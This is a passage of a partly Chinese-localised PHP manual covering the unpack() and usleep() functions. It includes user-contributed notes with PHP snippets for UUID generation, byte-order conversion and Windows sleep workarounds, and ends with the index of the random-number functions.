$v3uuid = UUID::v3('1546058f-5a25-4334-85ae-e68f2a44bbaf', 'SomeRandomString');
$v5uuid = UUID::v5('1546058f-5a25-4334-85ae-e68f2a44bbaf', 'SomeRandomString');

// Pseudo-random UUID

$v4uuid = UUID::v4();
?>
david at ramaboo dot com 05-Jan-2009 12:51
Another UUID function. This time using /dev/random
<?php
/**
     * @brief Generates a Universally Unique IDentifier, version 4.
     *
     * This function generates a truly random UUID. The built in CakePHP String::uuid() function
     * is not cryptographically secure. You should uses this function instead.
     *
     * @see http://tools.ietf.org/html/rfc4122#section-4.4
     * @see http://en.wikipedia.org/wiki/UUID
     * @return string A UUID, made up of 32 hex digits and 4 hyphens.
     */
    public function uuidSecure() {

        $pr_bits = null;
        $fp = @fopen('/dev/urandom','rb');
        if ($fp !== false) {
            $pr_bits .= @fread($fp, 16);
            @fclose($fp);
        } else {
            $this->cakeError('randomNumber');
        }

        $time_low = bin2hex(substr($pr_bits,0, 4));
        $time_mid = bin2hex(substr($pr_bits,4, 2));
        $time_hi_and_version = bin2hex(substr($pr_bits,6, 2));
        $clock_seq_hi_and_reserved = bin2hex(substr($pr_bits,8, 2));
        $node = bin2hex(substr($pr_bits,10, 6));

        /**
         * Set the four most significant bits (bits 12 through 15) of the
         * time_hi_and_version field to the 4-bit version number from
         * Section 4.1.3.
         * @see http://tools.ietf.org/html/rfc4122#section-4.1.3
         */
        $time_hi_and_version = hexdec($time_hi_and_version);
        $time_hi_and_version = $time_hi_and_version >> 4;
        $time_hi_and_version = $time_hi_and_version | 0x4000;

        /**
         * Set the two most significant bits (bits 6 and 7) of the
         * clock_seq_hi_and_reserved to zero and one, respectively.
         */
        $clock_seq_hi_and_reserved = hexdec($clock_seq_hi_and_reserved);
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved >> 2;
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved | 0x8000;

        return sprintf('%08s-%04s-%04x-%04x-%012s',
            $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $node);
    }
?>
nodkz at mail dot ru 15-Jan-2008 02:00
I use such UUID (it not RFC!!!)
(server_id)-(clientIP)-(unixtime)-(milliseconds)-(random)

 I can easyly determine which server at which time and who initiate creating of object.

<?php

$u=uuid();   // 0001-7f000001-478c8000-4801-47242987
echo $u;
echo "<br>";
print_r(uuidDecode($u)); // Array ( [serverID] => 0001 [ip] => 127.0.0.1 [unixtime] => 1200390144 [micro] => 0.28126525878906 )

function uuid($serverID=1)
{
    $t=explode(" ",microtime());
    return sprintf( '%04x-%08s-%08s-%04s-%04x%04x',
        $serverID,
        clientIPToHex(),
        substr("00000000".dechex($t[1]),-8),   // get 8HEX of unixtime
        substr("0000".dechex(round($t[0]*65536)),-4), // get 4HEX of microtime
        mt_rand(0,0xffff), mt_rand(0,0xffff));
}

function uuidDecode($uuid) {
    $rez=Array();
    $u=explode("-",$uuid);
    if(is_array($u)&&count($u)==5) {
        $rez=Array(
            'serverID'=>$u[0],
            'ip'=>clientIPFromHex($u[1]),
            'unixtime'=>hexdec($u[2]),
            'micro'=>(hexdec($u[3])/65536)
        );
    }
    return $rez;
}

function clientIPToHex($ip="") {
    $hex="";
    if($ip=="") $ip=getEnv("REMOTE_ADDR");
    $part=explode('.', $ip);
    for ($i=0; $i<=count($part)-1; $i++) {
        $hex.=substr("0".dechex($part[$i]),-2);
    }
    return $hex;
}

function clientIPFromHex($hex) {
    $ip="";
    if(strlen($hex)==8) {
        $ip.=hexdec(substr($hex,0,2)).".";
        $ip.=hexdec(substr($hex,2,2)).".";
        $ip.=hexdec(substr($hex,4,2)).".";
        $ip.=hexdec(substr($hex,6,2));
    }
    return $ip;
}

?>
ken at smallboxsoftware 17-May-2007 09:34
Just to note this function is fairly slow, and can bring your script to a crawl if it is in a loop. Strangely if you run it as uniqid('', true) it runs much more quickly
lance_rushing at hotmail dot com 23-Jan-2007 12:43
wooshoofoo, the reason mimec is calling mt_rand multiple times is because the largest number mt_rand can produce is 2^31 (2147483647, as reported by mt_getrandmax() on my server).  RFC 4122 requires a 128 bit value.

Also they are not "4 digit sequeces", but 4 digit hexadecimal numbers.  16^4 == 2^16.

mimec's limiting each random result to 2^16 avoids problem of PHP's 2^32 integer max (http://php.net/manual/en/language.types.integer.php).

If you want to call mt_rand fewer times:  mimec's version calls mt_rand 8 times ( 16 bits * 8 = 128 bits ).  You *could* call mt_rand 5 times ( 31 bits + 31 bits + 31 bits + 31 bits + 4 bits = 128 bits ).  But then you would have keep all your values as strings.

Something like:

<?php
/**
 * Another (ugly) "random or pseudo-random" version of RFC 4122
 *
 * This version calls mt_rand() the fewest possible times.
 * if mt_getrandmax() == 2^31 then this will call mt_rand() 5 times YMMV
 *
 * Personally, I would use mimec's version
 * To handle the large values, we'll keep everything as strings.
 *
 * @return string
 */
function uuid() {

     // Generate 128 bit random sequence
     $randmax_bits = strlen(base_convert(mt_getrandmax(), 10, 2));  // how many bits is mt_getrandmax()
     $x = '';
     while (strlen($x) < 128) {
         $maxbits = (128 - strlen($x) < $randmax_bits) ? 128 - strlen($x) :  $randmax_bits;
         $x .= str_pad(base_convert(mt_rand(0, pow(2,$maxbits)), 10, 2), $maxbits, "0", STR_PAD_LEFT);
     }

     // break into fields
     $a = array();
     $a['time_low_part'] = substr($x, 0, 32);
     $a['time_mid'] = substr($x, 32, 16);
     $a['time_hi_and_version'] = substr($x, 48, 16);
     $a['clock_seq'] = substr($x, 64, 16);
     $a['node_part'] =  substr($x, 80, 48);

     // Apply bit masks for "random or pseudo-random" version per RFC
     $a['time_hi_and_version'] = substr_replace($a['time_hi_and_version'], '0100', 0, 4);
     $a['clock_seq'] = substr_replace($a['clock_seq'], '10', 0, 2);

    // Format output
    return sprintf('%s-%s-%s-%s-%s',
        str_pad(base_convert($a['time_low_part'], 2, 16), 8, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['time_mid'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['time_hi_and_version'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['clock_seq'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['node_part'], 2, 16), 12, "0", STR_PAD_LEFT));
}

?>

However, I think mimec's version is much more elegant.


Unpack data from binary string

  • ? uniqid
  • usleep ?
  • PHP Manual
  • 杂项 函数
  • Unpack data from binary string

unpack

(PHP 4, PHP 5, PHP 7, PHP 8)

unpack — Unpack data from binary string

说明

unpack(string $format, string $string, int $offset = 0): array|false

Unpacks from a binary string into an array according to the given format.

The unpacked data is stored in an associative array. To accomplish this you have to name the different format codes and separate them by a slash /. If a repeater argument is present, then each of the array keys will have a sequence number behind the given name.

Changes were made to bring this function into line with Perl:

  • The "a" code now retains trailing NULL bytes.
  • The "A" code now strips all trailing ASCII whitespace (spaces, tabs, newlines, carriage returns, and NULL bytes).
  • The "Z" code was added for NULL-padded strings, and removes trailing NULL bytes.

参数

format

See pack() for an explanation of the format codes.

string

The packed data.

offset

The offset to begin unpacking from.

返回值

Returns an associative array containing unpacked elements of binary string, 或者在失败时返回 false.

更新日志

版本 | 说明
7.2.0 | float and double types supports both Big Endian and Little Endian.
7.1.0 | The optional offset has been added.

示例

Example #1 unpack() example

<?php
$binarydata = "\x04\x00\xa0\x00";
$array = unpack("cchars/nint", $binarydata);
print_r($array);
?>

以上示例会输出：

Array
(
    [chars] => 4
    [int] => 160
)

Example #2 unpack() example with a repeater

<?php
$binarydata = "\x04\x00\xa0\x00";
$array = unpack("c2chars/nint", $binarydata);
print_r($array);
?>

以上示例会输出：

Array
(
    [chars1] => 4
    [chars2] => 0
    [int] => 40960
)

注释

Caution

Note that PHP internally stores integral values as signed. If you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified.

Caution

If you do not name an element, numeric indices starting from 1 are used. Be aware that if you have more than one unnamed element, some data is overwritten because the numbering restarts from 1 for each element.

Example #3 unpack() example with unnamed keys

<?php
$binarydata = "\x32\x42\x00\xa0";
$array = unpack("c2/n", $binarydata);
var_dump($array);
?>

以上示例会输出：

array(2) {
  [1]=>
  int(160)
  [2]=>
  int(66)
}

Note that the first value from the c specifier is overwritten by the first value from the n specifier.

参见

  • pack() - 将数据打包成二进制字符串

User Contributed Notes

ludwig at kni-online dot de 30-Jan-2020 11:57
Don't forget to decode user-defined-pseudo-byte-sequences before unpacking...
<?php
  $byte_code_string =  '00004040';
  var_dump ( unpack ( 'f', $byte_code_string ) );
?>
Result:
  array(1) {
    [1]=>
    float(6.4096905560973E-10)
  }

whereas
<?php
   $byte_code_string =  '00004040';
   var_dump ( unpack ( 'f', hex2bin ( $byte_code_string ) ) );
?>
Result:
  array(1) {
    [1]=>
    float(3)
  }
stanislav dot eckert at vizson dot de 29-May-2016 03:15
A helper class to convert integer to binary strings and vice versa. Useful for writing and reading integers to / from files or sockets.

<?php

    class int_helper
    {
        public static function int8($i) {
            return is_int($i) ? pack("c", $i) : unpack("c", $i)[1];
        }

        public static function uInt8($i) {
            return is_int($i) ? pack("C", $i) : unpack("C", $i)[1];
        }

        public static function int16($i) {
            return is_int($i) ? pack("s", $i) : unpack("s", $i)[1];
        }

        public static function uInt16($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("n", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("v", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("S", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int32($i) {
            return is_int($i) ? pack("l", $i) : unpack("l", $i)[1];
        }

        public static function uInt32($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("N", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("V", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("L", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int64($i) {
            return is_int($i) ? pack("q", $i) : unpack("q", $i)[1];
        }

        public static function uInt64($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("J", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("P", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("Q", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }
    }
?>

Usage example:
<?php
    Header("Content-Type: text/plain");
    include("int_helper.php");

    echo int_helper::uInt8(0x6b) . PHP_EOL;  // k
    echo int_helper::uInt8(107) . PHP_EOL;  // k
    echo int_helper::uInt8("\x6b") . PHP_EOL . PHP_EOL;  // 107

    echo int_helper::uInt16(4101) . PHP_EOL;  // \x05\x10
    echo int_helper::uInt16("\x05\x10") . PHP_EOL;  // 4101
    echo int_helper::uInt16("\x05\x10", true) . PHP_EOL . PHP_EOL;  // 1296

    echo int_helper::uInt32(2147483647) . PHP_EOL;  // \xff\xff\xff\x7f
    echo int_helper::uInt32("\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 2147483647

    // Note: Test this with 64-bit build of PHP
    echo int_helper::uInt64(9223372036854775807) . PHP_EOL;  // \xff\xff\xff\xff\xff\xff\xff\x7f
    echo int_helper::uInt64("\xff\xff\xff\xff\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 9223372036854775807

?>
googlybash24 at aol dot com 19-Sep-2012 05:20
To convert big endian to little endian or to convert little endian to big endian, use the following approach as an example:

<?php
// file_get_contents() returns a binary value, unpack("V*", _ ) returns an unsigned long 32-bit little endian decimal value, but bin2hex() after that would just give the hex data in the file if alone, so instead we use:
// file_get_contents(), unpack("V*", _ ), then dechex(), in that order, to get the byte-swapping effect.
?>

With the logic of the approach in this example, you can discover how to swap the endian byte order as you need.
rogier 05-Oct-2011 07:19
be aware of the behavior of your system that PHP resides on.

On x86, unpack MAY not yield the result you expect for UInt32

This is due to the internal nature of PHP, being that integers are internally stored as SIGNED!

For x86 systems, unpack('N', "\xff\xff\xff\xff") results in -1
For (most?) x64 systems, unpack('N', "\xff\xff\xff\xff") results in 4294967295.

This can be verified by checking the value of PHP_INT_SIZE.
If this value is 4, you have a PHP that internally stores 32-bit.
A value of 8 internally stores 64-bit.

To work around this 'problem', you can use the following code to avoid problems with unpack.
The code is for big endian order but can easily be adjusted for little endian order (also, similar code works for 64-bit integers):

<?php
function _uint32be($bin)
{
    // $bin is the binary 32-bit BE string that represents the integer
    if (PHP_INT_SIZE <= 4){
        list(,$h,$l) = unpack('n*', $bin);
        return ($l + ($h*0x010000));
    }
    else{
        list(,$int) = unpack('N', $bin);
        return $int;
    }
}
?>

Do note that you *could* also use sprintf('%u', $x) to show the unsigned real value.
Also note that (at least when PHP_INT_SIZE = 4) the result WILL be a float value when the input is larger then 0x7fffffff (just check with gettype);

Hope this helps people.
Aaron Wells 08-Oct-2010 03:06
Another option for converting binary data into PHP data types, is to use the Zend Framework's Zend_Io_Reader class:
http://bit.ly/9zAhgz

There's also a Zend_Io_Writer class that does the reverse.
norwood at computer dot org 06-Apr-2010 02:15
Reading a text cell from an Excel spreadsheet returned a string with low-order embedded nulls: 0x4100 0x4200 etc. To remove the nulls, used

<?php
$strWithoutNulls = implode( '', explode( "\0", $strWithNulls ) );
?>

(unpack() didn't seem to help much here; needed chars back to re-constitute the string, not integers.)
Anonymous 23-Sep-2009 08:02
Functions I found useful when dealing with fixed width file processing, related to unpack/pack functions.
<?php
/**
* funpack
* format: array of key, length pairs
* data: string to unpack
*/
function funpack($format, $data){
    foreach ($format as $key => $len) {
        $result[$key] = trim(substr($data, $pos, $len));
        $pos+= $len;
    }
    return $result;
}

/**
* fpack
* format: array of key, length pairs
* data: array of key, value pairs to pack
* pad: padding direction
*/
function fpack($format, $data, $pad = STR_PAD_RIGHT){
    foreach ($format as $key => $len){
        $result .= substr(str_pad($data[$key], $len, $pad), 0, $len);
    }
    return $result;
}
?>
sica at wnet com br 20-Jul-2009 12:45
The script following is a example how to save more than one values on file separating its with "\r\n" and how to recovering its values.

<?php
// Save two integer values in a binary file
$nomearq = "./teste.bin";
$valor = 123;
$ptrarq = fopen($nomearq, "wb");
$valorBin = pack("L",$valor);
echo "First value ($valor) packed with ";
echo fwrite($ptrarq, $valorBin)." bytes<br>";
echo "Separator \\r\\n with ";
echo fwrite($ptrarq, "\r\n")." bytes<br>";
$valor = 456;
$valorBin = pack("L",$valor);
echo "Second value ($valor) packed with ";
echo fwrite($ptrarq, $valorBin)." bytes<br>";
fclose($ptrarq);

// Recover the saved values
$ptrarq = fopen($nomearq, "rb");
$valorBin = file($nomearq,filesize($nomearq));
echo "<br>The reading values is:<br>";
foreach($valorBin as $valor){
  $valor = unpack("L",$valor);
  print_r($valor);
  echo "<br>";
}
fclose($ptrarq);
?>

Results:
First value (123) packed with 4 bytes
Separator \r\n with 2 bytes
Second value (456) packed with 4 bytes

The reading values is:
Array ( [1] => 123 )
Array ( [1] => 456 )
Anonymous Coward 28-Mar-2008 10:52
Warning: This unpack function makes the array with keys starting at 1 instead of starting at 0.

For example:
<?php
 function read_field($h) {
  $a=unpack("V",fread($h,4));
  return fread($h,$a[1]);
 }
?>
jjfoerch at earthlink dot net 21-Oct-2004 04:57
I had a situation where I had to unpack a file filled with little-endian order double-floats in a way that would work on either little-endian or big-endian machines.  PHP doesn't have a formatting code that will change the byte order of doubles, so I wrote this workaround.

<?php
/*The following code is a workaround for php's unpack function
which does not have the capability of unpacking double precision
floats that were packed in the opposite byte order of the current
machine.
*/
function big_endian_unpack ($format, $data) {
    $ar = unpack ($format, $data);
    $vals = array_values ($ar);
    $f = explode ('/', $format);
    $i = 0;
    foreach ($f as $f_k => $f_v) {
    $repeater = intval (substr ($f_v, 1));
    if ($repeater == 0) $repeater = 1;
    if ($f_v{1} == '*')
    {
        $repeater = count ($ar) - $i;
    }
    if ($f_v{0} != 'd') { $i += $repeater; continue; }
    $j = $i + $repeater;
    for ($a = $i; $a < $j; ++$a)
    {
        $p = pack ('d',$vals[$i]);
        $p = strrev ($p);
        list ($vals[$i]) = array_values (unpack ('d1d', $p));
        ++$i;
    }
    }
    $a = 0;
    foreach ($ar as $ar_k => $ar_v) {
    $ar[$ar_k] = $vals[$a];
    ++$a;
    }
    return $ar;
}

list ($endiantest) = array_values (unpack ('L1L', pack ('V',1)));
if ($endiantest != 1) define ('BIG_ENDIAN_MACHINE',1);
if (defined ('BIG_ENDIAN_MACHINE')) $unpack_workaround = 'big_endian_unpack';
else $unpack_workaround = 'unpack';
?>

This workaround is used like this:

<?php

function foo() {
        global $unpack_workaround;
    $bar = $unpack_workaround('N7N/V2V/d8d',$my_data);
//...
}

?>

On a little endian machine, $unpack_workaround will simply point to the function unpack.  On a big endian machine, it will call the workaround function.

Note, this solution only works for doubles.  In my project I had no need to check for single precision floats.
kennwhite dot nospam at hotmail dot com 28-Aug-2004 12:32
If having a zero-based index is useful/necessary, then instead of:

$int_list = unpack("s*", $some_binary_data);

 try:

$int_list = array_merge(unpack("s*", $some_binary_data));

This will return a 0-based array:

$int_list[0] = x
$int_list[1] = y
$int_list[2] = z
...

rather than the default 1-based array returned from unpack when no key is supplied:

$int_list[1] = x
$int_list[2] = y
$int_list[3] = z
...

It's not used often, but array_merge() with only one parameter will compress a sequentially-ordered numeric-index, starting with an index of [0].
Sergio Santana: ssantana at tlaloc dot imta dot mx 09-Jul-2004 10:54
This is about the last example of my previous post. For the sake of clarity, I'm including again here the example, which expands the one given in the formal documentation:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
     echo "\$array[$key] = $value <br>\n";
?>

This outputs:

$array[chars1] = 65
$array[chars2] = 65
$array[int] = 65

Here, we assume that the ascii code for character 'A' is decimal 65.

Remebering that the format string structure is:
<format-code> [<count>] [<array-key>] [/ ...],
in this example, the format string instructs the function to
  1. ("c2...") Read two chars from the second argument ("AA ...),
  2. (...chars...) Use the array-keys "chars1", and "chars2" for
      these two chars read,
  3. (.../n...) Read a short int from the second argument (...\0A"),
  4. (...int") Use the word "int" as the array key for the just read
      short.

I hope this is clearer now,

Sergio.
Sergio Santana: ssantana at tlaloc dot imta dot mx 08-Jul-2004 07:41
Suppose we need to get some kind of internal representation of an integer, say 65, as a four-byte long. Then we use, something like:

<?
  $i = 65;
  $s = pack("l", $i); // long 32 bit, machine byte order
  echo strlen($s) . "<br>\n";
  echo "***$s***<br>\n";
?>

The output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

4
***A***

(That is the string "A\0\0\0")

Now we want to go back from string "A\0\0\0" to number 65. In this case we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number 65
  $arr = unpack("l", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value<br>\n";
?>

And this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[] = 65

Let's give the array key a name, say "mykey". In this case, we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number  65
  $arr = unpack("lmykey", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value\n";
?>

An this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[mykey] = 65

The "unpack" documentation is a little bit confusing. I think a more complete example could be:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
    echo "\$array[$key] = $value <br>\n";
?>

whose output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

$array[chars1] = 65 <br>
$array[chars2] = 65 <br>
$array[int] = 65 <br>

Note that the format string is something like
<format-code> [<count>] [<array-key>] [/ ...]

I hope this clarifies something

Sergio
iredden at redden dot on dot ca 11-Mar-2000 04:34
<?php

function parse_pascalstr($bytes_parsed, $parse_str) {
    $parse_info = unpack("x$bytes_parsed/cstr_len", $parse_str);
    $str_len = $parse_info["str_len"];
    $bytes_parsed = $bytes_parsed + 1;
    $parse_info = unpack("x$bytes_parsed/A".$str_len."str", $parse_str);
    $str = $parse_info["str"];
    $bytes_parsed = $bytes_parsed + strlen($str);

    return array($str, $bytes_parsed);
}

?>


以指定的微秒数延迟执行

  • ? unpack
  • 更新日志 ?
  • PHP Manual
  • 杂项 函数
  • 以指定的微秒数延迟执行

usleep

(PHP 4, PHP 5, PHP 7, PHP 8)

usleep — 以指定的微秒数延迟执行

说明

usleep(int $microseconds): void

以指定的微秒数延缓程序的执行。

参数

microseconds

暂停的时间以微秒计。1微秒（micro second）是百万分之一秒。

Note: 操作系统不支持大于 1000000 的值（即休眠不能超过 1 秒）。使用 sleep() 代替。

Note: 任何系统活动或处理调用所花费的时间或系统计时器的粒度都可能会稍微延长睡眠时间（即可能会长于 microseconds）。

返回值

没有返回值。

示例

Example #1 usleep()例子

<?php

// Current time
echo (new DateTime('now'))->format('H:i:s.v'), "\n";

// wait for 2 milliseconds
usleep(2000);

// back!
echo (new DateTime('now'))->format('H:i:s.v'), "\n";

// wait for 30 milliseconds
usleep(30000);

// back again!
echo (new DateTime('now'))->format('H:i:s.v'), "\n";

?>

以上示例会输出：

11:13:28.005
11:13:28.007
11:13:28.037

参见

  • sleep() - 延缓执行
  • time_nanosleep() - 延缓执行若干秒和纳秒
  • time_sleep_until() - 使脚本睡眠到指定的时间为止
  • set_time_limit() - 设置脚本最大执行时间

User Contributed Notes

septerrianin at mail dot ru 06-Aug-2018 09:51
Note that this function has an overhead!

Example:
<?php
for ($i = 0; $i < 1000000; ++$i)
{
    usleep(1);
}
?>

This block is running about 70 seconds on my server.
Script take about 70 microseconds for every usleep() function call.
m dot prowler at gmail dot com 04-Nov-2015 07:26
On both MacOS X and Linux the usleep() call seems to consume CPU cycles, whereas sleep() and time_nanosleep() do not. This was the same on PHP 5.3.29 and 5.5.29.

I used a loop with just a call to sleep/usleep/time_nanosleep, and compared them all with an empty loop. Obviously the empty loop consumed 99% of the CPU, sleep used 0%, usleep used 3% for 1000ms and 6% for 100ms, and time_nanosleep used 0% for both 500ms and 1000ms.
Docey 27-May-2007 02:19
the idea of sleep and usleep is that by letting the cpu run a few idle cycles so the other programs can have some cycles run of their own. what results in better response times and lower overall system-load. so if you have to wait for something, go to sleep for a few seconds instead of occupying the cpu while doing absolute nothing but waitting.
Mike at SevenCode dot com 11-Jan-2007 03:36
Dude you are SO the man for that code snippet. It worked like a charm. I just wanted to point out a couple things and offer my own improvement.

1. If you're like me, you were probably wondering why the socket had to keep being recreated on each call, and why you couldn't just create a static socket. Its because socket_select assumes you're passing in a pointer, and will alter the variable on return to reflect the actual sockets that were changed.

2. I couldn't figure out for the life of me why socket_select wasn't defined. Its because you hadn't enabled the right extension in php.ini

Ok so heres my slight improvement. The only real thing I did is use a static variable for the socket, to avoid creating a brand new socket on each call of this function. I'm not sure if socket creation will cause things to crash down the line like the other problems reported on here, but if you ask me better safe then sorry.

function Sleeper($mSec)
{
    //    For dummies like me who spent 5 minutes
    //    wondering why socket_create wasn't defined
    if(!function_exists('socket_create')){
        die("Please enable extension php_sockets.dll");
    }

    //    So the socket is only created once
    static $socket=false;
    if($socket===false){
        $socket=array(socket_create(AF_INET,SOCK_RAW,0));
    }
    $pSock=$socket;

    //    Calc time
    $uSex = $mSec * 1000;

    //    Do the waiting
    socket_select($read=NULL,$write=NULL,$pSock,0,$uSex);

    //    OCD
    return true;
}
php_manual at lk2 dot de 28-Dec-2006 02:16
I have no idea why nobody came up with this yet, but there is an efficient way to reproduce usleep() under windows:

<?php
function usleep_win($msec) {
   $usec = $msec * 1000;
   socket_select($read = NULL, $write = NULL, $sock = array(socket_create (AF_INET, SOCK_RAW, 0)), 0, $usec);
}
?>

* Doesnt busy wait
* Doesnt eat memory
* Works for millions of repetitions
* Seems to be rather efficient

It seems that the average error (on my machine) is about 5ms (it sleeps 5ms more than intended) thats probably due to code execution as well as kernel timers.

A socket without any purpose is highly unlikely to every cause an exception, so socket_select will always sleep until the timeout is hit.
Rasmus Schultz 23-Aug-2006 06:39
I have spent DAYS trying to create a reliable usleep()-replacement for Windows.

I have only this to offer:

As commented by someone else already, the gettimeofday() method used below is useless - PHP will use all available CPU power doing nothing.

The fsockopen() method apparently is also useless - as someone else commented, an fclose() was missing in the original post, but this apparently does not solve the problem. After calling the function about 50 or so times, fsockopen() returns immidiately, without any delay - and watching a process monitor in Windows, you can then watch the process taking up increasingly more memory, until eventually PHP aborts (or crashes) when it reaches maximum.

The win32api-method is also a no-go ... after calling the Sleep function a few hundred times (during which memory usage will also go up every time due to a memory leak somewhere), PHP will cause an exception and Windows will terminate it.

I have given up - I don't think there is any viable solution to this problem under PHP 4.

If you need this function, upgrade your project to PHP 5.

Or settle for 1-second delays with the sleep()-function.

These, unfortunately, seem to be your only options...
Patrick 26-Jul-2006 01:04
I want to create a daemon/Linux service. Here is an example of how to run a process that has "throttle control"

// You must set these
//
// max_execution_time = 0
// max_input_time = 0

function doProcess() {
    echo "Start"."\n";
    usleep(10000);
    echo "Stop"."\n";
    return false;
}

function manageProcess() {
    // Setup data
    $runsPerMinute = 200;
    $maxMinuteAverage = 5;
    $waitIfNotWorking = 120; // seconds

    // Conversion
    $microsPerSecond = 1000000;

    // Statistical Info
    $currentMinute = 0;
    $minute = -1;
    $countPerMinute = array();
    $sumPerMinute = array();

    // Totals
    $totalProcessTime = 0;
    $totalCounts = 0;

    while (true) {
        $timestart = microtime();
        $performedWork = doProcess();
        $timeend = microtime();

        if (!$performedWork) {
            // Statistical Info
            $currentMinute = 0;
            $minute = -1;
            $countPerMinute = array();
            $sumPerMinute = array();

            sleep($waitIfNotWorking);
        } else {

            $ts = split(" ",$timestart);
            $te = split(" ",$timeend);

            $te[0] = ($te[0] * $microsPerSecond) - ($ts[0] * $microsPerSecond);
            $te[1] = ($te[1] - $ts[1]) * $microsPerSecond;

            $processTime = $te[0] + $te[1];

            if (date("i")<>$minute) { // We are NOT in the same minute
                // Reset the new minute
                $minute = date("i");
                $currentMinute = ($currentMinute+1) % $maxMinuteAverage;

                // Remove Statistical Information from the minute we are expiring.
                if (isset($countPerMinute[$currentMinute])) {
                    $totalProcessTime = $totalProcessTime - $sumPerMinute[$currentMinute];
                    $totalCounts = $totalCounts - $countPerMinute[$currentMinute];
                }

                $countPerMinute[$currentMinute] = 0;
                $sumPerMinute[$currentMinute] = 0;
            }

            $countPerMinute[$currentMinute] = $countPerMinute[$currentMinute] + 1;
            $sumPerMinute[$currentMinute] = $sumPerMinute[$currentMinute] + $processTime;

            $totalCounts = $totalCounts + 1;
            $totalProcessTime = $totalProcessTime + $processTime;

            $averageRuntime = round($totalProcessTime / $totalCounts);

            $waitTime = (($microsPerSecond*60) / $runsPerMinute) - $averageRuntime;

            usleep($waitTime);
        }
    }

}

manageProcess();
gizmo at aoaforums dot com 02-Feb-2006 09:28
It should be noted that Windows machines have a resolution of either 10 mS or 15 mS (depending on the chipset implementation and HAL used) when using the Sleep() function in kernel32.dll.  This means that your average error will be either 5 or 7.5 mS.  This is not ordinarily a problem unless you really NEED to sleep for less time than the granularity provided by Windows.
gmc at serveisw3 dot net 07-Jul-2005 09:11
If you're using Windows then you maybe are in trouble with usleep if you really need to use it.

The Bernie's microdelay function using fsockopen does not work properly, and the fclose doesn't help much.

I don't know if network connections go strange, but I know it does not work since you've made more than 2000 - 3000 calls to it, so it's not a reliable solution in 'long life' php scripts, or these are the issues of the microdelay function in my PHP and PHP-GTK applications.

Though another solution should be found, and googling a bit I fount a WinAPI function: Sleep.

So I get with this snippet wich works fine for me, you get milliseconds precission but the more important, it works for long-run scripts and of course, it does not waste any CPU cycles.

dl('php_w32api.dll');

$GLOBALS['win32api'] =& new win32;

// USleep alternative for Windows and PHP4:
$GLOBALS['win32api']->registerfunction("long Sleep (long dwMillisecods) From kernel32.dll");

// Now you can call the function from everywhere in your script: $GLOBALS['win32api']->Sleep(milliseconds);

for ($msec = 2000; $msec > 0; $msec = $msec - 125) {
  echo "Hi. Next one in $msec msec.\n";
  $GLOBALS['win32api']->Sleep($msec);
}
Bertie 28-Nov-2003 11:47
A word of warning about the microdelay() code posted that uses the fsockopen - if you use this is a loop that delays for small periods you will very quickly run out of sockets/socket buffer space. And then your network connections go very strange......
busby at edoceo dot com 17-Jan-2003 04:04
Should be noted that functions that loop really fast to create a delay also consume 100% CPU while doing the loop.  Try creating a dummy loop that goes 100000 times, watch it choke your machine.  If you really need usleep() don't use windows.
dave at techweavers dot net 28-Dec-2000 07:29
To monitor a scripts CPU ussage and avoid any nasty CPU gobbling loops you can use this function (will not work with windows or safe mode) I know it works on FreeBSD:
function phpmon($max)
 {
 $cmd = `ps -Unobody -r -o%cpu`;
 $lines = explode("\n", $cmd);
 $usage = substr($lines[1], 0, strpos($lines[1], "."));
 $sleeprate = 500;
 while ($usage >= $max)
  {
  $cmd = `ps -Unobody -r -o%cpu`;
  $lines = explode("\n", $cmd);
  $usage = substr($lines[1], 0, strpos($lines[1], "."));
  usleep($sleeprate);
  }
 }

phpmon($MAX);

where $MAX is the maximum CPU you want the process to consume. e-mail me with any improvements/suggestions.

I have noticed that this consumes a lot of system CPU (at least in my limited testing) possibly from all of the system calls or the huge mathematical functions I used to test the effectiveness of the script.


随机数生成器和相关随机函数

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Random 函数
    • getrandmax — 显示随机数最大的可能值
    • lcg_value — 组合线性同余发生器
    • mt_getrandmax — 显示随机数的最大可能值
    • mt_rand — 通过梅森旋转（Mersenne Twister）随机数生成器生成随机值
    • mt_srand — 播下一个更好的随机数发生器种子
    • rand — 产生一个随机整数
    • random_bytes — Get cryptographically secure random bytes
